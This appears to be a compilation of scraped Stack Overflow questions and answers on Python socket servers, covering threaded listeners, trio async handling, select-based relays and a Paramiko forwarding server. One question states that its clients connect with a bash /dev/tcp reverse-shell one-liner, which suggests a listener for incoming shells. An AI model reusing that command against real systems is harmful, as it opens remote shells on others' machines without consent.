Having a small problem with a multithreaded socket server in Python 3. I can't seem to start my socket listening in its own thread. I'm probably way off base.
Borrowed the code here: How to make a simple multithreaded socket server in Python that remembers clients
But I need to listen for clients within a thread or at least in the background. Can't figure out what I'm doing wrong.
Here's my code:
import socket
from threading import Thread
from cmd import Cmd
class ThreadedServer(Thread):
def __init__(self):
self.host = "127.0.0.1"
self.port = int(8080)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
print("[Info]: Listening for connections on {0}, port {1}".format(self.host,self.port))
while True:
print("Hello?") # Just debug for now
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
response = data
client.send(response)
else:
raise error('Client disconnected')
except:
client.close()
return False
class CommandInput(Cmd):
# Able to accept user input here but is irrelevant right now
pass
print("[Info]: Loading complete.")
clientThread = ThreadedServer().listen()
clientThread.start()
print("[Info]: Server ready!")
prompt = CommandInput()
prompt.prompt = '> '
prompt.cmdloop("[Info]: Type \'help\' for a list of commands and their descriptions/use")
As you can see I have some code after my listening part where I need to be able to accept input on the terminal. However, the code never gets there.
Here's the output quite simply:
[Info]: Loading complete.
[Info]: Listening for connections on 127.0.0.1, port 8080
Hello?
I'm expecting:
[Info]: Loading complete.
[Info]: Listening for connections on 127.0.0.1, port 8080
Hello?
[Info]: Type \'help\' for a list of commands and their descriptions/use
>
with a cursor ready for me to type.
So how can I properly get my program to listen for clients in that loop in a proper thread so that I can enter prompts at the command line and process user input (for example one of the commands I want to implement is that of a client "send" which I would be able to send debug information to connected clients)
Thanks for any assistance you can provide.
This may not be the ideal structure for setting up what you want, but seems to solve the requirement you stated.
After launching this script on a terminal, you can make sample client connections by opening one, or more, browser tabs to localhost:8080
import socket
from threading import Thread
from cmd import Cmd
# basic threading tutorial: https://www.tutorialspoint.com/python3/python_multithreading.htm
class ThreadedServer(Thread):
def __init__(self):
Thread.__init__(self) # change here
self.host = "127.0.0.1"
self.port = int(8080)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def run(self): # change here
self.sock.listen(5)
print("[Info]: Listening for connections on {0}, port {1}".format(self.host,self.port))
while True:
print("Hello?") # Just debug for now
client, address = self.sock.accept()
client.settimeout(60)
Thread(target = self.listenToClient, args = (client,address)).start() # change here
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
response = data
client.send(response)
else:
raise error('Client disconnected')
except:
client.close()
return False
class CommandInput(Cmd):
# Able to accept user input here but is irrelevant right now
pass
if __name__ == "__main__":
print("[Info]: Loading complete.")
server = ThreadedServer() # change here
server.start() # change here
print("[Info]: Server ready!")
prompt = CommandInput()
prompt.prompt = '> '
prompt.cmdloop("[Info]: Type \'help\' for a list of commands and their descriptions/use")
I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.
I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.
Try to do that with socket.io and Threading, so if the socket got a ON_CONNECT event you can just push the information in a list and print it to the console.
as an excuse to experiment with the trio async library I ported your code to it
start by defining a simple class for client connections and the code to keep track of them:
from sys import stderr
from itertools import count
class Client:
def __init__(self, stream):
self.stream = stream
async def run(self):
lines = LineReader(self.stream)
while True:
line = (await lines.readline()).decode('ascii')
if not line or line.strip().casefold() in {'quit', 'exit'}:
await self.stream.send_all(b'bye!\r\n')
break
resp = f'got {line!r}'
await self.stream.send_all(resp.encode('ascii') + b'\r\n')
CLIENT_COUNTER = count()
CLIENTS = {}
async def handle_client(stream):
client_id = next(CLIENT_COUNTER)
client = Client(stream)
async with stream:
CLIENTS[client_id] = client
try:
await client.run()
except Exception as err:
print('client failed', err, file=stderr)
finally:
del CLIENTS[client_id]
LineReader comes from here: https://stackoverflow.com/a/53576829/1358308
next we can define the server stdin processing:
async def handle_local(nursery):
while True:
try:
command = await async_input('server > ')
except EOFError:
command = 'exit'
if command == 'exit':
nursery.cancel_scope.cancel()
elif command == 'list':
for id, client in CLIENTS.items():
print(id, client.stream.socket.getpeername())
else:
print(f'unknown command {command!r}')
check out the docs for info about nurseries
this uses a utility function to wrap input up into an async function.
import trio
async def async_input(prompt=None):
return await trio.run_sync_in_worker_thread(
input, prompt, cancellable=True)
then we define code to tie all the pieces together:
SERVE_HOST = 'localhost'
SERVE_PORT = 1344
async def async_main():
async with trio.open_nursery() as nursery:
nursery.start_soon(handle_local, nursery)
await trio.serve_tcp(
handle_client,
port=SERVE_PORT, host=SERVE_HOST,
handler_nursery=nursery)
trio.run(async_main)
some more links/references (by trio's author):
tutorial echo server
motivation behind the trio library
Im sure there are easier ways with particular python modules, but for an assignment I need to create a program that can act as a client/server. As of right now I have it working to the point of only being able to send a message if the reciever has responded. I need it to just send and appear on the respective client/server terminal when enter is pressed. Any help would be greatly appreciated!
These are pictures of what happens as of now
https://i.stack.imgur.com/T9CsJ.png
import sys
import socket
import getopt
def usage(script_name):
print('Usage: py' + script_name + '-l' +' <port number>' + '[<server>]')
def sockObj():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return sock
def serversockConn(serversocket,port):
serversocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# bind the serversocket to address
serversocket.bind(('',int(port)))
# enable a server to accept connections
serversocket.listen(5)
# wait for a connection and accept it
sock,addr = serversocket.accept()
return sock
def connToServersock(sock,server, port):
# connect to a serversocket
if server:
sock.connect((server, int(port)))
else:
sock.connect(('localhost', int(port)))
return sock
if __name__ == '__main__':
## get the command line arguments
try:
options, non_option_args = getopt.getopt(sys.argv[1:],'l')
except getopt.GetoptError as err:
print(err)
sys.exit(2)
#check if '-l' is present in command line agrument
serverSide = False
for opt,arg in options:
if opt == "-l":
serverSide = True
# port number
port = non_option_args[0]
# server address
server = None
hostLen = len(non_option_args)
if hostLen == 2:
server = non_option_args[1]
# create a communicator object, and make a connection between server and client
# server
if serverSide:
serversocket = sockObj()
sock = serversockConn(serversocket,port)
# client
else:
sock = sockObj()
sock = connToServersock(sock,server,port)
while True:
## read a message from standard input
message = sys.stdin.readline().encode()
if len(message) != 0:
sock.send(message)
return_msg = sock.recv( 1024 )
if return_msg:
print("Message recieved: " + return_msg.decode())
else:
print("Other side shut down")
else:
try:
sock.shutdown(socket.SHUT_WR)
sock.close()
except:
pass
I think your issue is that there are two places in your event loop where you block:
message = sys.stdin.readline().encode()
Here, you block until the user has pressed return -- during this time, your program is unable to respond to any data received over the network, because it is blocked waiting for data from stdin.
... and:
return_msg = sock.recv( 1024 )
Here, you are waiting for data to be received from the network -- during this time, your program is unable to respond to any data received from stdin, because it is blocked waiting for data from the network.
The behavior you'd ideally like to have is for your program to wait for both stdin and network traffic simultaneously -- i.e. have it block until either the user has pressed return, or some network data has been received, whichever comes first.
The easiest way to achieve that behavior is to use select(); its purpose is to block until at least one of several file descriptors is ready to be acted on. (Note, however, that Windows does not support using select() on stdin, so if your program needs to run under Windows you will probably have to spawn a second thread instead).
To implement the event loop using select(), add import select to the top of your script, then replace your event loop with something like this instead:
while True:
## block here until either sock or sys.stdin has data ready for us
readable, writable, exceptional = select.select([sock, sys.stdin], [], [])
if sys.stdin in readable:
## read a message from standard input
message = sys.stdin.readline().encode()
if len(message) != 0:
sock.send(message)
if sock in readable:
## read a message from the network
try:
return_msg = sock.recv( 1024 )
if (return_msg):
print("Message received: " + return_msg.decode())
else:
print("Other side shut down")
break
except:
print("recv() threw an exception")
break
I have previously managed to implement a client-server socket script which relays messages between a single client and the server and I'm now trying to implement a multiple-client system.
More specifically, I would like to use the server as some sort of medium between two clients which retrieves information from one client and relays it to the other. I had tried to attach and send the port number of the receiving client and then extract it from the message on the server side. After that, I would try and send it to whatever socket with that port number but I ran into some trouble (as port numbers are determined at the point of sending I believe?) so now I am simply just trying to relay the sent message back to all clients. However, the problem is that the message is only being sent to the server and not being relayed to the desired client.
I had previously tried to implement a peer-to-peer system but I ran into trouble so I decided to take a step back and do this instead.
Server.py:
import socket, _thread, threading
import tkinter as tk
SERVERPORT = 8600
HOST = 'localhost'
class Server():
def __init__(self):
self.Connected = True
self.ServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.ServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
self.ServerSocket.bind((HOST, SERVERPORT))
self.ServerSocket.listen(2)
self.Clients = []
def Listen(self):
print('Server is now running')
while self.Connected:
ClientSocket, Address = self.ServerSocket.accept()
self.Clients.append(Address)
print('\nNew user connected', Address)
t = threading.Thread(target=self.NewClient, args=(ClientSocket,
Address))
t.daemon = True
t.start()
self.Socket.close()
def NewClient(self, ClientSocket, Address):
while self.Connected:
if ClientSocket:
try:
ReceivedMsg = ClientSocket.recv(4096)
print('Message received from', Address, ':', ReceivedMsg)
self.Acknowledge(ClientSocket, Address)
if ReceivedMsg.decode('utf8').split()[-1] != 'message':
ReceiverPort = self.GetSendPort(ReceivedMsg)
self.SendToClient(ClientSocket,ReceivedMsg,ReceiverPort)
except:
print('Connection closed')
raise Exception
ClientSocket.close()
def Acknowledge(self, Socket, Address):
Socket.sendto(b'The server received your message', Address)
def GetSendPort(self, Msg):
MsgDigest = Msg.decode('utf8').split()
return int(MsgDigest[-1])
def SendToClient(self, Socket, Msg, Port):
Addr = (HOST, Msg)
for Client in self.Clients:
Socket.sendto(Msg, Client)
def NewThread(Func, *args):
if len(args) == 1:
t = threading.Thread(target=Func, args=(args,))
elif len(args) > 1:
t = threading.Thread(target=Func, args=args)
else:
t = threading.Thread(target=Func)
t.daemon = True
t.start()
t.join()
Host = Server()
NewThread(Host.Listen)
And the Client(.py):
import socket, threading
import tkinter as tk
Username = 'Ernest'
PORT = 8601
OtherPORT = 8602
SERVERPORT = 8600
HOST = '127.0.0.1'
class Client():
def __init__(self, Username):
self.Connected, self.Username = False, Username
self.Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def Connect(self):
print('Trying to connect')
try:
self.Socket.connect((HOST, SERVERPORT))
self.Connected = True
print(self.Username, 'connected to server')
Msg = MsgUI(self.Username)
Msg.Display()
except Exception:
print('Could not connect to server')
raise Exception
def SendMsg(self):
if self.Connected:
Msg = '{} sent you a message {}'.format(self.Username, OtherPORT)
self.Socket.sendall(bytes(Msg, encoding='utf8'))
self.GetResponse()
def GetResponse(self, *args):
AckMsg = '\n{} received the message'.format(self.Username)
NMsg = '\n{} did not receive the message'.format(self.Username)
if self.Connected:
Msg = self.Socket.recv(4096)
print(Msg)
if Msg:
self.Socket.sendall(bytes(AckMsg, encoding='utf8'))
else:
self.Socket.sendall(bytes(NMsg, encoding='utf8'))
class MsgUI():
def __init__(self, Username):
self.Username = Username
self.entry = tk.Entry(win)
self.sendbtn = tk.Button(win, text='send', command=Peer.SendMsg)
def Display(self):
self.entry.grid()
self.sendbtn.grid()
win.mainloop()
win = tk.Tk()
Peer = Client(Username)
Peer.Connect()
I want a message to be sent whenever the user presses the send button in the tkinter window, but at the same time, it is continually 'listening' to see if it received any messages.
I also previously tried to run the GetResponse method in the Client in another thread and instead of if self.Connected I used while self.Connected and it still didn't work.
UPDATE
After some helpful comments, I have edited the two files as such:
The server now holds the two sockets for each client which is run first. The server file is imported into the client file as a module. Each client file is then run and each client runs a function in the server file, requesting to use the socket. If the request is allowed (i.e. no error was thrown), the socket is connected, added to a set of clients stored in the server file and then returned to the client file. The client then uses this socket to send and receive messages.
Server.py
import socket, _thread, threading
import tkinter as tk
SERVERPORT = 8600
HOST = 'localhost'
class Server():
def __init__(self):
self.Connected = True
self.ServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.ServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
self.ServerSocket.bind((HOST, SERVERPORT))
self.ServerSocket.listen(2)
self.Clients = {}
def ConnectClient(self, Username, Port):
Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.Clients[Username] = [Socket, Port, False]
try:
self.Clients[Username][0].connect((HOST, SERVERPORT))
self.Clients[Username][2] = True
print('Opened port for user', Username)
return Socket
except Exception:
print('Could not open port for user', Username)
raise Exception
def Listen(self):
print('Server is now running')
while self.Connected:
ClientSocket, Address = self.ServerSocket.accept()
print('\nNew user connected', Address)
t = threading.Thread(target=self.NewClient, args=(ClientSocket,
Address))
t.daemon = True
t.start()
self.Socket.close()
def NewClient(self, ClientSocket, Address):
while self.Connected:
if ClientSocket:
try:
ReceivedMsg = ClientSocket.recv(4096)
if b'attempting to connect to the server' in ReceivedMsg:
ClientSocket.send(b'You are now connected to the server')
else:
print('Message received from', Address, ':',ReceivedMsg)
#self.Acknowledge(ClientSocket, Address)
ReceiverPort = self.GetSendPort(ReceivedMsg)
if ReceiverPort != None:
self.SendToClient(ClientSocket,ReceivedMsg,
ReceiverPort)
except:
print('Connection closed')
raise Exception
ClientSocket.close()
def Acknowledge(self, Socket, Address):
Socket.sendto(b'The server received your message', Address)
def GetSendPort(self, Msg):
MsgDigest = Msg.decode('utf8').split()
try:
Port = int(MsgDigest[-1])
except ValueError:
Port = None
return Port
def SendToClient(self, Socket, Msg, Port):
Addr = (HOST, Port)
Receiver = None
for Client, Vars in self.Clients.items():
if Vars[1] == Port:
Receiver = Client
self.Clients[Receiver][0].sendto(Msg, Addr)
def NewThread(Func, *args):
if len(args) == 1:
t = threading.Thread(target=Func, args=(args,))
elif len(args) > 1:
t = threading.Thread(target=Func, args=args)
else:
t = threading.Thread(target=Func)
t.daemon = True
t.start()
t.join()
Host = Server()
if __name__ == '__main__':
NewThread(Host.Listen)
And Client.py
import socket, threading, Server
import tkinter as tk
Username = 'Ernest'
PORT = 8601
OtherPORT = 8602
SERVERPORT = 8600
HOST = '127.0.0.1'
class Client():
def __init__(self, Username):
self.Connected, self.Username = False, Username
def Connect(self):
print('Requesting to connect to server')
try:
self.Socket = Server.Host.ConnectClient(self.Username, PORT)
self.Connected = Server.Host.Clients[self.Username][2]
Msg = '{} is attempting to connect to the server'.format(self.Username)
self.Socket.sendall(bytes(Msg, encoding='utf8'))
ReceivedMsg = self.Socket.recv(4096)
print(ReceivedMsg)
Msg = MsgUI(self.Username)
Msg.Display()
except Exception:
print('Could not connect to server')
raise Exception
def SendMsg(self):
try:
if self.Connected:
Msg = '{} sent you a message {}'.format(self.Username,OtherPORT)
self.Socket.sendall(bytes(Msg, encoding='utf8'))
self.GetResponse()
except Exception:
print('Connection closed')
raise Exception
def GetResponse(self, *args):
AckMsg = '\n{} received the message'.format(self.Username)
NMsg = '\n{} did not receive the message'.format(self.Username)
if self.Connected:
Msg = self.Socket.recv(4096)
print(Msg)
if Msg:
self.Socket.sendall(bytes(AckMsg, encoding='utf8'))
else:
self.Socket.sendall(bytes(NMsg, encoding='utf8'))
class MsgUI():
def __init__(self, Username):
self.Username = Username
self.entry = tk.Entry(win)
self.sendbtn = tk.Button(win, text='send', command=Peer.SendMsg)
def Display(self):
self.entry.grid()
self.sendbtn.grid()
win.mainloop()
win = tk.Tk()
Peer = Client(Username)
Peer.Connect()
Now the problem is more of a python and scope problem. When trying to relay the message back to the client, I was getting a KeyError as the Clients dictionary was still empty. When making the function call to the server in the client file, it's clear that the update to the dictionary happens in the client file rather than the server file - which is in a different instance. I need a method of changing the contents of the Clients dictionary that is called to action by the client file but takes effect in the server file.
Are you committed to multithreading? Threads don't run concurrently in python ( due to the GIL), and while they are one way to handle concurrent operations, they aren't the only way and usually they're not the best way, unless they're the only way. Consider this code, which doesn't handle failure cases well, but seems to work as a starting point.
import socket, select, Queue
svrsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
svrsock.setblocking(0)
svrsock.bind(('', 17654))
svrsock.listen(16)
client_queues = {}
write_ready=[] # we'll update this for clients only that have things in the queue
while client_queues.keys() + [svrsock] :
readable, writable, exceptional = select.select(client_queues.keys() + [svrsock] , write_ready, [])
for rd in readable:
if rd is svrsock: # reading listening socket == accepting connection
conn, addr = svrsock.accept()
print("Connection from {}".format(addr))
conn.setblocking(0)
client_queues[conn] = Queue.Queue()
else:
data = rd.recv(1024)
if data:
# TODO: send to all queues
print("Message from {}".format(rd.getpeername()))
for sock, q in client_queues.iteritems():
q.put("From {}: {}".format( rd.getpeername(), data))
if sock not in write_ready:
write_ready.append(sock)
for rw in writable:
try:
data = client_queues[rw].get_nowait()
rw.send(data)
except Queue.Empty:
write_ready.remove(rw)
continue
The concept is pretty simple. The server accepts connections; each connection (socket) is associated with a queue of pending messages. Each socket that's ready for reading is read from, and its message is added to each client's queue. The recipient client is added into the write_ready list of clients with data pending, if it's not already in there. Then each socket that's ready for writing has its next queued message written to it. If there are no more messages, the recipient is removed from the write_ready list.
This is very easy to orchestrate if you don't use multithreading because all coordination is inherent in the order of the application. With threads it would be more difficult and a lot more code, but probably not more performance due to the gil.
The secret to handling multiple I/O streams concurrently without multithreading is select. In principle it's pretty easy; we pass select() a list of possible sockets for reading, another list of possible sockets for writing, and a final list that for this simplified demo I completely ignore . The results of the select call will include one or more sockets that are actually ready for reading or writing, which allows me to block until one or more sockets are ready for activity. I then process all the sockets ready for activity every pass ( but they've already been filtered down to just those which wouldn't block).
There's a ton still to be done here. I don't cleanup after myself, don't track closed connections, don't handle any exceptions, and so on. but without having to worry about threading and concurrency guarantees, it's pretty easy to start addressing these deficiencies.
Here it is "in action". Here for the client side I use netcat, which is perfect for layer 3 testing without layer 4+ protocols ( in other words, raw tcp so to speak). It simply opens a socket to the given destination and port and sends its stdin through the socket and sends its socket data to stdout, which makes it perfect for demoing this server app!
I also wanted to point out, coupling code between server and client is inadvisable because you won't be able to roll out changes to either without breaking the other. It's ideal to have a "contract" so to speak between server and client and maintain it. Even if you implement the behavior of server and client in the same code base, you should use the tcp communications contract to drive your implementation, not code sharing. Just my 2 cents, but once you start sharing code you often start coupling server/client versions in ways you didn't anticipate.
the server:
$ python ./svr.py
Connection from ('127.0.0.1', 52059)
Connection from ('127.0.0.1', 52061)
Message from ('127.0.0.1', 52061)
Message from ('127.0.0.1', 52059)
Message from ('127.0.0.1', 52059)
First client ( 52059):
$ nc localhost 17654
hello
From ('127.0.0.1', 52061): hello
From ('127.0.0.1', 52059): hello
From ('127.0.0.1', 52059): hello
Second client:
$ nc localhost 17654
From ('127.0.0.1', 52061): hello
hello
From ('127.0.0.1', 52059): hello
hello
From ('127.0.0.1', 52059): hello
If you need more convincing on why select is way more compelling than concurrent execution, consider this: Apache is based on a threading model, in other words, the connections each get a worker thread . nginx is based on a select model, so you can see how much faster that can potentially be. Not to say that nginx is inherently better, as Apache benefits from the threading model because of its heavy use of modules to extend capabilities ( mod_php for example), whereas nginx doesn't have this limitation and can handle all requests from any thread. But the raw performance of nginx is typically considered far higher and far more efficient, and a big reason for this is that it avoids almost all the cpu context switches inherent in apache. It's a valid approach!
A word on scaling. Obviously, this wouldn't scale forever. Neither would a threading model; eventually you run out of threads. A more distributed and high throughput system would likely use a Pub/Sub mechanism of some kind, offloading the client connection tracking and message queueing from the server to a pub/sub data tier and allowing connections to be restored and queued data to be sent, as well as adding multiple servers behind a load balancer. Just throwing it out there. You might be pleasantly surprised how well select can scale ( cpu is so much faster than network anyway that it's likely not the bottleneck).
I am attempting to build a Paramiko server that just forwards ports. I adapted the code from the demo server code
#!/usr/bin/env python
import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback
import paramiko
from paramiko.py3compat import b, u, decodebytes
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
host_key = paramiko.RSAKey(filename="test_rsa.key")
logger.info("Read key: " + u(hexlify(host_key.get_fingerprint())))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_publickey(self, username, key):
logger.info("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
try:
with open("client_rsa.pub.stripped", "rb") as f:
good_key = f.read()
good_pub_key = paramiko.RSAKey(data=decodebytes(good_key))
except:
logger.exception("failed to read public key")
return paramiko.AUTH_FAILED
if (username == "robey") and (key == good_pub_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return "publickey"
def check_channel_request(self, kind, chanid):
logger.info("inside channel request")
return paramiko.OPEN_SUCCEEDED
def check_channel_direct_tcpip_request(self, chanid, origin, destination):
return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel):
self.event.set()
return True
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2200))
sock.listen(100)
logger.info("Listening for connection ...")
client, addr = sock.accept()
logger.info("Got a connection!")
with paramiko.Transport(client) as t:
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# wait for auth
chan = t.accept(20)
if chan is None:
logger.info("*** No channel.")
sys.exit(1)
logger.info("Authenticated!")
# prompt for more information
chan.send("Username: ")
f = chan.makefile("rU")
username = f.readline().strip("\r\n")
logger.info("received username: " + username)
chan.close()
And I am using this command to connect successfully:
ssh -i client_rsa.key -p 2200 -L 9999:localhost:4000 -T robey#localhost
However, when I attempt to use the -N option for the ssh client, ie:
ssh -i client_rsa.key -p 2200 -L 9999:localhost:4000 -T -N robey#localhost
the Paramiko server hangs after authenticating the client, never reaching the check_channel_request function. Here are the logs from the run:
INFO:__main__:Read key: 689f8799e649f931b116b19227dbb2a3
INFO:__main__:Listening for connection ...
INFO:__main__:Got a connection!
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_7.2p2)
INFO:paramiko.transport:Auth rejected (none).
INFO:__main__:Auth attempt with key: cdbb2439816b22a59ee036be3a953e51
INFO:paramiko.transport:Auth rejected (publickey).
INFO:__main__:Auth attempt with key: 11c470c88233719a2499f03336589618
INFO:paramiko.transport:Auth granted (publickey).
Is there anyway to get the Paramiko server to be able to handle this situation?
Figured this out. The reason nothing was happening is that the tunnel forwarding is not opened until you try to use it. It turns out my tunnel wasn't being created even without the -N option. So the answer is to make sure to use the local port after creating the SSH connection.